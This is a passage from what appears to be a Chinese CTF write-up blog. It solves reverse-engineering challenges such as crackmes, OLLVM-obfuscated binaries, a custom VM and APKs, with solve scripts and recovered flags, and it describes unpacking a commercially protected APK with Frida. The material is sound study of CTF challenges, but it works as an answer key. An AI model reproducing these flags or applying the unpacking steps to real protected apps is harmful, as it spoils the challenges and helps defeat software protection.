uint64_t diff[] = {0, 0x410A4335494A0942ll, 0x0B0EF2F50BE619F0ll, 0x4F0A3A064A35282Bll};
for(size_t i=0;i<4;i++){
*((uint64_t *)fflag+i)+=diff[i];
}
cout<<fflag<<endl;

return 0;
}

[rev][安洵杯 2019]crackMe

  1. 程序使用了一些异常处理的手法

  2. base64表进行了变换

  3. 加密4个6位字符都+24了

  4. 类base64编码之前还有个变换

  5. 对于输入的变换:使用了SM4国密算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import base64
import hashlib
import random,string
from Crypto.Cipher import AES
from math import *
import string
import base64
import ctypes
import time
import requests
from pysm4 import decrypt,encrypt

flag = '1UTAOIkpyOSWGv/mOYFY4R!!'
tab = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/'
rtab = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
dic = {}
dic['=']='='
for i in range(len(tab)):
dic[tab[(i+24)%64]]=rtab[i]
flag = flag.replace('!','=',-1)
rflag = ''
for i in range(0,len(flag),2):
rflag+=flag[i+1]
rflag+=flag[i]
flag = ''
for i in rflag:
flag+=dic[i]
print(flag)
flag = base64.b64decode(flag.encode('utf-8'))
flag = int.from_bytes(flag,'big')
print(flag)
v2=[0 for i in range(16)]
v2[0] = 0x77
v2[1] = 0x68
v2[2] = 0x65
v2[3] = 0x72
v2[4] = 0x65
v2[5] = 0x5F
v2[6] = 0x61
v2[7] = 0x72
v2[8] = 0x65
v2[9] = 0x5F
v2[10] = 0x75
v2[11] = 0x5F
v2[12] = 0x6E
v2[13] = 0x6F
v2[14] = 0x77
v2[15] = 0x3F
key = 0
for i in range(len(v2)):
key|=v2[i]<<((15-i)*8)
res = decrypt(flag,key)
print(res.to_bytes(16,'big'))

[rev][2019红帽杯]childRE

  1. 利用用户的输入建立一棵树(层序顺序)

  2. 后续遍历1.建立的树

  3. 使用UnDecorateSymbolName进行反修饰

  4. 利用查表的方式替换outputString,逐一比对

outputString获取脚本

1
2
3
4
5
6
7
8
9
10
11
12
tab = '1234567890-=!@#$%^&*()_+qwertyuiop[]QWERTYUIOP{}asdfghjkl;\x27ASDFGHJKL:"ZXCVBNM<>?zxcvbnm,./'
c1 = r'55565653255552225565565555243466334653663544426565555525555222'
c2 = r'(_@4620!08!6_0*0442!@186%%0@3=66!!974*3234=&0^3&1@=&0908!6_0*&'
ops = ''
dic = {}
for i in range(len(tab)):
dic[tab[i]]=i
ops = []
for i in range(62):
ops.append(dic[c1[i]]*23+dic[c2[i]])
print(ops)
print(bytes(ops))

修饰代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <string>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>

class RopXX {
public:
RopXX() {
unsigned char c;
My_Aut0_PWN(&c);
}
char* __thiscall My_Aut0_PWN(unsigned char*) {
printf("%s", __FUNCDNAME__);
return nullptr;
}
};
int main() {
new RopXX();
return 0;
}

放入VS运行即可得到修饰后的字符串

?My_Aut0_PWN@RopXX@@QAEPADPAE@Z

根据后续遍历反向构造输入

Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP

1
print(hashlib.md5(b'Z0@tRAEyuP@xAAA?M_A0_WNPx@@EPDP').hexdigest())

参考资料

re | [2019红帽杯]childRE - Mz1 - 博客园 最后那里由于粗心错了一位

第18天:红帽杯2019-childRE_S1lenc3的博客-CSDN博客 本篇博客提供了修饰代码

[rev][MRCTF2020]PixelShooter

  1. 找到Assemably-CSharp.dll,丢进dnspy

  2. 直接一个一个类找,找到GameController,看到初始分数相关信息,把初始分数改到很大,击碎飞机得分改到很大

  3. 重新编译apk,安装即可得到flag

其它c#逆向工具:ILSpy, dotpeek

[rev]

使用IDA打开,发现是ollvm混淆过的,在GitHub上面找到deflat脚本

GitHub - cq674350529/deflat: use angr to deobfuscation

执行

1
python3 deflat.py -f att --addr 0x400620

得到att_recovery,继续分析

删除无用语句,得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#include "defs.h"

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
signed __int64 v4; // [rsp+1E0h] [rbp-110h]
int i; // [rsp+1E8h] [rbp-108h]
int v6; // [rsp+1ECh] [rbp-104h]
int v7; // [rsp+1ECh] [rbp-104h]
char s1[48]; // [rsp+1F0h] [rbp-100h]
char s[60]; // [rsp+220h] [rbp-D0h]
unsigned int v10; // [rsp+25Ch] [rbp-94h]
char *input; // [rsp+260h] [rbp-90h]
int v12; // [rsp+26Ch] [rbp-84h]
bool v13; // [rsp+272h] [rbp-7Eh]
unsigned __int8 v14; // [rsp+273h] [rbp-7Dh]
int v15; // [rsp+274h] [rbp-7Ch]
char *v16; // [rsp+278h] [rbp-78h]
int v17; // [rsp+284h] [rbp-6Ch]
int v18; // [rsp+288h] [rbp-68h]
bool v19; // [rsp+28Fh] [rbp-61h]
char *v20; // [rsp+290h] [rbp-60h]
int v21; // [rsp+298h] [rbp-58h]
bool v22; // [rsp+29Fh] [rbp-51h]
__int64 v23; // [rsp+2A0h] [rbp-50h]
bool v24; // [rsp+2AFh] [rbp-41h]
__int64 v25; // [rsp+2B0h] [rbp-40h]
__int64 v26; // [rsp+2B8h] [rbp-38h]
__int64 v27; // [rsp+2C0h] [rbp-30h]
__int64 v28; // [rsp+2C8h] [rbp-28h]
int v29; // [rsp+2D0h] [rbp-20h]
int v30; // [rsp+2D4h] [rbp-1Ch]
char *v31; // [rsp+2D8h] [rbp-18h]
int v32; // [rsp+2E0h] [rbp-10h]
int v33; // [rsp+2E4h] [rbp-Ch]
bool v34; // [rsp+2EBh] [rbp-5h]
int unk_402170;
v10 = 0;
memset(s, 0, 0x30uLL);
memset(s1, 0, 0x30uLL);
printf("Input:", 0LL);
input = s;
__isoc99_scanf("%s", input);
v6 = 0;

while (1)
{
v12 = v6;
v13 = v12 < 64;
if (!v13)
break;
v14 = s[v6];
v15 = v14;
if (v15 == 10)
{
v16 = &s[v6];
*v16 = 0;
break;
}
v17 = v6 + 1;
v6 = v17;
}
for (i = 0;; ++i)
{
v18 = i;
v19 = v18 < 6;
if (!v19)
break;
v20 = s;
v4 = *(_QWORD *)&v20[8 * i];
v7 = 0;
while (1)
{
v21 = v7;
v22 = v21 < 64;
if (!v22)
break;
v23 = v4;
if (v4 >= 0)
{
v27 = v4;
v28 = 2 * v27;
v4 = v28;
}
else
{
v25 = 2 * v4;
v26 = v25;
v4 = v26 ^ 0xB0004B7679FA26B3LL;
}
v29 = v7;
v7 = v29 + 1;
}
v30 = 8 * i;
v31 = &s1[8 * i];
*(_QWORD *)v31 = v4;
*(_QWORD *)v31 = v4;
v32 = i + 1;
}
v33 = memcmp(s1, &unk_402170, 0x30uLL);
v34 = v33 != 0;
if (v34)
puts("Wrong!");
else
puts("Correct!");
return v10;
}

分析写出逆向脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <string>
#include <stdio.h>
#include <stdlib.h>
#include <inttypes.h>
#include <memory.h>
#include <iostream>

using namespace std;

uint64_t rev(uint64_t a){
for(size_t i=0;i<64;i++){
if(a&1){
a^=0xB0004B7679FA26B3LL;

a>>=1;
a|=(1LL<<63);
}else{
a>>=1;
}
printf("0x%016llX\n",a);
}
return a;
}
int main(){
uint64_t a[] = {0xbc8ff26d43536296LL, 0x520100780530ee16LL, 0x4dc0b5ea935f08ecLL, 0x342b90afd853f450LL, 0x8b250ebcaa2c3681LL, 0x55759f81a2c68ae4LL, 0xb0004b7679fa26b3LL, 0x25003a7475706e49LL};
for(size_t i=0;i<6;i++){
a[i] = rev(a[i]);
}
char s[49]={0};
memcpy(s,a,48);
cout<<s<<endl;

return 0;
}

flag{6ff29390-6c20-4c56-ba70-a95758e3d1f8}

[rev][安洵杯 2019]game

  1. IDA打开,发现被ollvm 混淆过了

  2. 使用deflat把能去混淆的都去混淆

    函数功能

    • blank_num 返回0的数量

    • sudoku int[9][9]

    • mem_alloc 分配输入*48大小的内存

    • general_inspection 检测是否符合规则

    • check1 交换i,i+len/2的值

      然后i,i+1交换

      然后a[i]=(a[i]&0xF3|~a[i]&0xC)-20

    • check3 检查&打印结果

    • check2 进行最后一步变换(转化为数字)并且检查和sudoku数组是否相等

  3. 最后一个trace无法deflat,手撸 发现可以直接调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>

void printArray(char *name,uint8_t *data,size_t len){
printf("==============%s========\n",name);
for(size_t i=0;i<len;i++){
printf("0x%02x,",data[i]);
}
printf("\n================================\n");
}
uint32_t calc(uint32_t d1,uint32_t d2,uint32_t d3,uint32_t d4){
return d1*d1*d2+d1*d3+d4;
}
int main(){
uint8_t sudoku[] = {1,4,5,3,2,7,6,9,8,8,3,9,6,5,4,1,2,7,6,7,2,8,1,9,5,4,3,4,9,6,1,8,5,3,7,2,2,1,8,4,7,3,9,5,6,7,5,3,2,9,6,4,8,1,3,6,7,5,4,2,8,1,9,9,8,4,7,6,1,2,3,5,5,2,1,9,3,8,7,6,4};
uint8_t dg03[] = {1,0,5,3,2,7,0,0,8,8,0,9,0,5,0,0,2,0,0,7,0,0,1,0,5,0,3,4,9,0,1,0,0,3,0,0,0,1,0,0,7,0,9,0,6,7,0,3,2,9,0,4,8,0,0,6,0,5,4,0,8,0,9,0,0,4,0,0,1,0,3,0,0,2,1,0,3,0,7,0,4};
uint8_t flag[81]={0};
size_t cnt=0;
for(size_t i=0;i<81;i++){
if(dg03[i]!=sudoku[i]){
flag[cnt]=sudoku[i];
cnt++;
}
}
printArray("flag",flag,cnt);
printf("%d\n",cnt);
for(size_t i=0;i<cnt;i++){
flag[i]+='0';
flag[i]=flag[i]+20;
flag[i]=flag[i]&0xF3|~flag[i]&0xC;
}
printArray("flag",flag,cnt);
for(size_t i=0;i<cnt/2;i++){
uint8_t t=flag[i];
flag[i]=flag[i+cnt/2];
flag[i+cnt/2]=t;
}
for(size_t i=0;i<cnt;i+=2){
uint8_t t=flag[i];
flag[i]=flag[i+1];
flag[i+1]=t;
}
printArray("flag",flag,cnt);
printf("%s\n",flag);
return 0;
}

[rev][ACTF新生赛2020]SoulLike

  1. 前4个字节为actf

  2. 长度为11

  3. 验证函数超级大

    rbp-0x58保存用户输入指针

  4. angr一把梭(因为看了这个函数之后,发现无非就是异或相加之类的,很适合angr去求解)

    actf{b0Nf|Re_LiT!

1
2
3
4
5
6
7
8
import hashlib
import angr

p = angr.Project('./SoulLike')
state = p.factory.entry_state()
s = p.factory.simulation_manager(state)
s.explore(find=0x411065,avoid=0x411028)
print(s.found[0].posix.dumps(0))

看了wp之后发现自己粗心了,如果错了会告诉哪一位错了,所以可以按位爆破

[rev][网鼎杯 2020 青龙组]bang

  1. 梆梆加固

  2. 使用frida脱壳GitHub - GuoQiang1993/Frida-Apk-Unpack

    网上有个之前的方法,具体看了一下,那个梆梆加固似乎没调用OpenMemory函数,所以通过hook OpenMemory函数已经不管用了。这个最新版的Hook了OpenCommon。似乎也是我手机的问题,Android 7。具体要等后续手动分析壳

    过程:通过 /proc/pid/maps查看应用对应的映射,找到相应的库,使用IDA分析

  3. 使用dex2jar分析

  4. 得到flag

flag{borring_things}

[rev][SCTF2019]Strange apk

  1. 前12个base64编码

  2. 然后取奇数号字符

sctf{W3lc0me~t0_An4r0id-w0rld}

[rev]Dig the way

  1. 以文件作为输入

  2. 注意文件是可能覆盖v8的

  3. v8[3]=0&&v8[3]=func3(v8,2,3)=abs(v8[3])-abs(v8[3]+v8[2])+abs(v8[2])+2

    v8[2]=func2(v8,1,2)=abs(v8[1]+v8[2])-abs(v8[2])-abs(v8[1])+2

    v8[1]=1

    swap(v8[0],v8[1])

    发现不可能满足条件,遂寻找wp

  4. 第一次循环交换的是v8[v12]和v8[v13],所以可以直接覆盖v12和v13,达成函数的交换

    v8[2]=abs(v8[1])+abs(v8[2])-abs(v8[1]+v8[2])+2

    v8[3]=abs(v8[2]+v8[3])-abs(v8[2])-abs(v8[1])+2

  5. 经过计算v8[2]=1,v8[3]=-1

    Offset 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15

    00000000 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F 3F
    00000016 3F 3F 3F 3F 33 33 33 33 33 33 33 33 01 00 00 00
    00000032 FF FF FF FF 07 00 00 00 08 00 00 00

flag: 8cda1bdb68a72a392a3968a71bdb8cda

[rev][SCTF2019]creakme

  1. 进入程序

  2. 跟踪输入发现AES算法(使用PEID扫描也可以)

  3. 调试发现初始向量,密钥扩展函数找到密钥

  4. 密文使用base64加密了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import hashlib
import angr
import base64
from Crypto.Cipher import AES
from math import *
# from z3 import *

key = b'sycloversyclover'

s = b'nKnbHsgqD3aNEB91jB3gEzAr+IklQwT1bSs3+bXpeuo='
c = base64.b64decode(s)
print(len(c),c)
aes = AES.new(key=key,mode=AES.MODE_CBC,iv=b'sctfsctfsctfsctf')
p = aes.decrypt(c)
print(p)

[rev][GKCTF2020]EzMachine

  1. IDA搜索字符串发现不了什么,但是命令行有输出,在导入表里面发现WriteFile和WriteConsoleW

    分别在这两个函数位置下断点,发现程序使用WriteFile输出

  2. 程序似乎加了壳,可以使用调试器加载,然后在要输出plz input的时候使用Scylla插件dump下来继续分析

  3. WriteFile断下后,回溯分析,找到主函数D61580

  4. 发现这是个虚拟机程序

  5. 流程

    小写字母全部异或71后+1

    大写字母全部异或75后-1

    所有字符都除16,商和余数保存

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
import hashlib
import angr
import base64
from Crypto.Cipher import AES
from math import *
# from z3 import *

# opcode
opc = [0x1, 0x3, 0x3, 0x5, 0x0, 0x0, 0x11, 0x0, 0x0, 0x1, 0x1, 0x11, 0xc, 0x0, 0x1, 0xd, 0xa, 0x0, 0x1, 0x3, 0x1, 0x5, 0x0, 0x0, 0xff, 0x0, 0x0, 0x1, 0x2, 0x0, 0x1, 0x0, 0x11, 0xc, 0x0, 0x2, 0xd, 0x2b, 0x0, 0x14, 0x0, 0x2, 0x1, 0x1, 0x61, 0xc, 0x0, 0x1, 0x10, 0x1a, 0x0, 0x1, 0x1, 0x7a, 0xc, 0x0, 0x1, 0xf, 0x1a, 0x0, 0x1, 0x1, 0x47, 0xa, 0x0, 0x1, 0x1, 0x1, 0x1, 0x6, 0x0, 0x1, 0xb, 0x24, 0x0, 0x1, 0x1, 0x41, 0xc, 0x0, 0x1, 0x10, 0x24, 0x0, 0x1, 0x1, 0x5a, 0xc, 0x0, 0x1, 0xf, 0x24, 0x0, 0x1, 0x1, 0x4b, 0xa, 0x0, 0x1, 0x1, 0x1, 0x1, 0x7, 0x0, 0x1, 0x1, 0x1, 0x10, 0x9, 0x0, 0x1, 0x3, 0x1, 0x0, 0x3, 0x0, 0x0, 0x1, 0x1, 0x1, 0x6, 0x2, 0x1, 0xb, 0xb, 0x0, 0x2, 0x7, 0x0, 0x2, 0xd, 0x0, 0x2, 0x0, 0x0, 0x2, 0x5, 0x0, 0x2, 0x1, 0x0, 0x2, 0xc, 0x0, 0x2, 0x1, 0x0, 0x2, 0x0, 0x0, 0x2, 0x0, 0x0, 0x2, 0xd, 0x0, 0x2, 0x5, 0x0, 0x2, 0xf, 0x0, 0x2, 0x0, 0x0, 0x2, 0x9, 0x0, 0x2, 0x5, 0x0, 0x2, 0xf, 0x0, 0x2, 0x3, 0x0, 0x2, 0x0, 0x0, 0x2, 0x2, 0x0, 0x2, 0x5, 0x0, 0x2, 0x3, 0x0, 0x2, 0x3, 0x0, 0x2, 0x1, 0x0, 0x2, 0x7, 0x0, 0x2, 0x7, 0x0, 0x2, 0xb, 0x0, 0x2, 0x2, 0x0, 0x2, 0x1, 0x0, 0x2, 0x2, 0x0, 0x2, 0x7, 0x0, 0x2, 0x2, 0x0, 0x2, 0xc, 0x0, 0x2, 0x2, 0x0, 0x2, 0x2, 0x0, 0x1, 0x2, 0x1, 0x13, 0x1, 0x2, 0x4, 0x0, 0x0, 0xc, 0x0, 0x1, 0xe, 0x5b, 0x0, 0x1, 0x1, 0x22, 0xc, 0x2, 0x1, 0xd, 0x59, 0x0, 0x1, 0x1, 0x1, 0x6, 0x2, 0x1, 0xb, 0x4e, 0x0, 0x1, 0x3, 0x0, 0x5, 0x0, 0x0, 0xff, 0x0, 0x0, 0x1, 0x3, 0x1, 0x5, 0x0, 0x0, 0xff, 0x0, 0x0]
'''
0 nop eip+=1
1 v0=[eip+1],v1=[eip+2],reg[v0]=v1 eip+=3
2 v0=[eip+1],push v0
3 push reg[v0]
4 pop reg[v0]
5 output
6 reg[v0]+=reg[v1]
7 reg[v0]-=reg[v1]
8 reg[v0]*=reg[v1]
9 两个寄存器分别保存reg[v0]/reg[v1]的除数和余数
10 reg[v0]^=reg[v1]
11 eip=3*v0-3
12 reg[v0]-reg[v1]并将结果保存在标志寄存器
13 lags=0: eip=3*v0-3,否则eip+=3
14 flags=1: eip=3*v0-3,否则eip+=3
15 flags>0: eip=3*v0-3,否则eip+=3
16 flags<0:
17 输入,DA5BA8存储字符串,DA5BDC存储长度
18 某加密函数
19 reg[v0]=stack[DA5BD0+reg[v1]]
20 reg[v0]=DA5BA8[reg[v1]]
FF exit
'''
eip = 0
esp = 0
flags=0
while eip<len(opc):
inst = opc[eip]
v0=opc[eip+1]
v1=opc[eip+2]
if inst==0:
print('%04X: ' %eip,end="")
print('nop')
eip+=1
elif inst==1:
print('%04X: ' %eip,end="")
print('reg[%d]=%d'%(v0,v1))
eip+=3
elif inst==2:
print('%04X: ' %eip,end="")
esp+=1
print('push %d;esp=%d'%(v0,esp))
eip+=3
elif inst==3:
print('%04X: ' %eip,end="")
esp+=1
print('push reg[%d];esp=%d'%(v0,esp))
eip+=3
elif inst==4:
print('%04X: ' %eip,end="")
esp-=1
print('pop reg[%d]; esp=%d'%(v0,esp))
eip+=3
elif inst==5:
print('%04X: ' %eip,end="")
print('output')
eip+=3
elif inst==6:
print('%04X: ' %eip,end="")
print('reg[%d]+=reg[%d]'%(v0,v1))
eip+=3
elif inst==7:
print('%04X: ' %eip,end="")
print('reg[%d]-=reg[%d]'%(v0,v1))
eip+=3
elif inst==8:
print('%04X: ' %eip,end="")
print('reg[%d]*=reg[%d]'%(v0,v1))
eip+=3
elif inst==9:
print('%04X: ' %eip,end="")
print('reg[%d]/reg[%d] ;--------'%(v0,v1))
eip+=3
elif inst==10:
print('%04X: ' %eip,end="")
print('reg[%d]^=reg[%d]'%(v0,v1))
eip+=3
elif inst==11:
print('%04X: ' %eip,end="")
print('jmp %02X'%(3*v0-3))
eip+=3
elif inst==12:
print('%04X: ' %eip,end="")
print('cmp reg[%d],reg[%d]'%(v0,v1))
eip+=3
elif inst==13:
print('%04X: ' %eip,end="")
print('je %02X'%(3*v0-3))
eip+=3
elif inst==14:
print('%04X: ' %eip,end="")
print('jne %02X'%(3*v0-3))
eip+=3
elif inst==15:
print('%04X: ' %eip,end="")
print('jg %02X'%(v0*3-3))
eip+=3
elif inst==16:
print('%04X: ' %eip,end="")
print('jl %02X'%(v0*3-3))
eip+=3
elif inst==17:
print('%04X: ' %eip,end="")
print('get')
eip+=3
elif inst==18:
print('%04X: ' %eip,end="")
print('encrypt')
eip+=3
elif inst==19:
print('%04X: ' %eip,end="")
print('reg[%d]=stack[DA5BD0+reg[%d]]'%(v0,v1))
eip+=3
elif inst==20:
print('%04X: ' %eip,end="")
print('reg[%d]=DA5BA8[reg[%d]]'%(v0,v1))
eip+=3
elif inst==0xFF:
print('%04X: ' %eip,end="")
print('exit')
eip+=3
# break

a = [7,13,0,5,1,12,1,0,0,13,5,15,0,9,5,15,3,0,2,5,3,3,1,7,7,11,2,1,2,7,2,12,2,2]
flag = ''
oth = [ord('{'),ord('}'),ord('_')]
for i in range(0,len(a),2):
t = a[i]*16+a[i+1]
if t in oth:
flag+=chr(t)
elif (t+1)^75>=65 and (t+1)^75<=90:
flag+=chr((t+1)^75)
elif (t+1)^71>=97 and (t+1)^71<=122:
flag+=chr((t-1)^71)
print(flag[::-1])

flag{Such_A_EZVM}

[web][HCTF 2018]WarmUp

  1. 打开注释,发现source.php
  2. 发现hint.php
  3. 要求在白名单内
  4. 需要目录穿越
    flag{5cae09d5-ee32-4ee4-806a-519032a92250}

[rev][SCTF2019]babyre

  1. flag存在3段

  2. 第一段是走一个三维迷宫,实在懒得走了,写了个脚本,深度优先搜索走迷宫,结果脚本找到了程序的另一条路= =

    明白了,这一问是基于三维迷宫做的,所以应该改进脚本基于三维迷宫

  3. 第二段flag是base64解码,所以只需要把base64编码的那段东西放进去就行

  4. 第三段是仿sm4加密

    这里太不认真了ROR6看成了ROL6

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>

void printArray(const char* name, uint8_t* data, size_t len) {
printf("==============%s========", name);
for (size_t i = 0; i < len; i++) {
if (!(i % 16))printf("\n");
printf("0x%02x,", data[i]);
}
printf("\n================================\n");
}
uint32_t direc[] = { -5,5,1,-1,25,-25 };
char direcc[] = "wsdaxy";
char flag[256] = { 0 };
uint32_t pos = 22;
uint32_t cnt = 0;
char* v;
char state[126] = { 0 };
void search() {
if (pos < 0 || pos >= strlen(v))return;
if (state[pos] == '*')return;
if (state[pos] == '#') {
printf("%s\n", flag);
exit(0);
}
if(state[pos]!='.'&&state[pos]!='s')return;
state[pos] = '*';
for (size_t i = 0; i < 6; i++) {
pos += direc[i];
flag[cnt++] = direcc[i];
search();
cnt--;
pos -= direc[i];
}
state[pos] = '.';
}
uint32_t sbox[] = { 0xd6, 0x90, 0xe9, 0xfe, 0xcc, 0xe1, 0x3d, 0xb7, 0x16, 0xb6, 0x14, 0xc2, 0x28, 0xfb, 0x2c, 0x5, 0x2b, 0x67, 0x9a, 0x76, 0x2a, 0xbe, 0x4, 0xc3, 0xaa, 0x44, 0x13, 0x26, 0x49, 0x86, 0x6, 0x99, 0x9c, 0x42, 0x50, 0xf4, 0x91, 0xef, 0x98, 0x7a, 0x33, 0x54, 0xb, 0x43, 0xed, 0xcf, 0xac, 0x62, 0xe4, 0xb3, 0x1c, 0xa9, 0xc9, 0x8, 0xe8, 0x95, 0x80, 0xdf, 0x94, 0xfa, 0x75, 0x8f, 0x3f, 0xa6, 0x47, 0x7, 0xa7, 0xfc, 0xf3, 0x73, 0x17, 0xba, 0x83, 0x59, 0x3c, 0x19, 0xe6, 0x85, 0x4f, 0xa8, 0x68, 0x6b, 0x81, 0xb2, 0x71, 0x64, 0xda, 0x8b, 0xf8, 0xeb, 0xf, 0x4b, 0x70, 0x56, 0x9d, 0x35, 0x1e, 0x24, 0xe, 0x5e, 0x63, 0x58, 0xd1, 0xa2, 0x25, 0x22, 0x7c, 0x3b, 0x1, 0x21, 0x78, 0x87, 0xd4, 0x0, 0x46, 0x57, 0x9f, 0xd3, 0x27, 0x52, 0x4c, 0x36, 0x2, 0xe7, 0xa0, 0xc4, 0xc8, 0x9e, 0xea, 0xbf, 0x8a, 0xd2, 0x40, 0xc7, 0x38, 0xb5, 0xa3, 0xf7, 0xf2, 0xce, 0xf9, 0x61, 0x15, 0xa1, 0xe0, 0xae, 0x5d, 0xa4, 0x9b, 0x34, 0x1a, 0x55, 0xad, 0x93, 0x32, 0x30, 0xf5, 0x8c, 0xb1, 0xe3, 0x1d, 0xf6, 0xe2, 0x2e, 0x82, 0x66, 0xca, 0x60, 0xc0, 0x29, 0x23, 0xab, 0xd, 0x53, 0x4e, 0x6f, 0xd5, 0xdb, 0x37, 0x45, 0xde, 0xfd, 0x8e, 0x2f, 0x3, 0xff, 0x6a, 0x72, 0x6d, 0x6c, 0x5b, 0x51, 0x8d, 0x1b, 0xaf, 0x92, 0xbb, 0xdd, 0xbc, 0x7f, 0x11, 0xd9, 0x5c, 0x41, 0x1f, 0x10, 0x5a, 0xd8, 0xa, 0xc1, 0x31, 0x88, 0xa5, 0xcd, 0x7b, 0xbd, 0x2d, 0x74, 0xd0, 0x12, 0xb8, 0xe5, 0xb4, 0xb0, 0x89, 0x69, 0x97, 0x4a, 0xc, 0x96, 0x77, 0x7e, 0x65, 0xb9, 0xf1, 0x9, 0xc5, 0x6e, 0xc6, 0x84, 0x18, 0xf0, 0x7d, 0xec, 0x3a, 0xdc, 0x4d, 0x20, 0x79, 0xee, 0x5f, 0x3e, 0xd7, 0xcb, 0x39, 0x48, 0xc6, 0xba, 0xb1, 0xa3, 0x50, 0x33, 0xaa, 0x56, 0x97, 0x91, 0x7d, 0x67, 0xdc, 0x22, 0x70, 0xb2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 };
#define ROL32(x,i) ((x)<<(i)|(((unsigned int)(x)>>(32-(i)))))
#define tau(x) ((sbox[((x)>>16)&0xFF]<<16)|sbox[(x)&0xFF]|(sbox[((x)>>8)&0xFF]<<8)|(sbox[((x)>>24&0xFF)]<<24))
#define L(x) ((ROL32((x),12))^(ROL32((x),8))^(ROL32((x),30))^(ROL32((x),26)))

int main() {
uint64_t v28[16] = { 0 };
v28[0] = 3038287259199220266LL;
v28[1] = 3039413159106062890LL;
v28[2] = 3347065308717918762LL;
v28[3] = 3038287259266591278LL;
v28[4] = 3326517635351194154LL;
v28[5] = 3038287259199220266LL;
v28[6] = 3038287276446198314LL;
v28[7] = 3036321349588626990LL;
v28[8] = 3039417557152575022LL;
v28[9] = 3038287259199482410LL;
v28[10] = 3038287259199220266LL;
v28[11] = 3326517635350932010LL;
v28[12] = 3038287259266591274LL;
v28[13] = 3326517652597910058LL;
v28[14] = 3039413176353041966LL;
v28[15] = 0x2A2E2A2A2ELL;
v = (char*)v28;
memcpy(state, v, 126);

search();

// printf("%s\n",v28);
uint64_t f2 = 3472619869582943091LL; // sctf_910 019_ftcs
uint32_t a[] = { 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x3e, 0x7f, 0x7f, 0x7f, 0x3f, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b, 0x3c, 0x3d, 0x7f, 0x7f, 0x7f, 0x40, 0x7f, 0x7f, 0x7f, 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f, 0x30, 0x31, 0x32, 0x33, 0x7f, 0x7f, 0x7f, 0x7f, 0x7f };
uint8_t dict[256] = { 0 };
for (size_t i = 0; i < sizeof(a) / 4; i++) {
dict[a[i]] = i;
}
printf("%s\n", dict);
uint32_t v8[15];
v8[0] = 190;
v8[1] = 4;
v8[2] = 6;
v8[3] = 128;
v8[4] = 197;
v8[5] = 175;
v8[6] = 118;
v8[7] = 71;
v8[8] = 159;
v8[9] = 204;
v8[10] = 64;
v8[11] = 31;
v8[12] = 216;
v8[13] = 191;
v8[14] = 146;
v8[15] = 239;
uint32_t k[30];
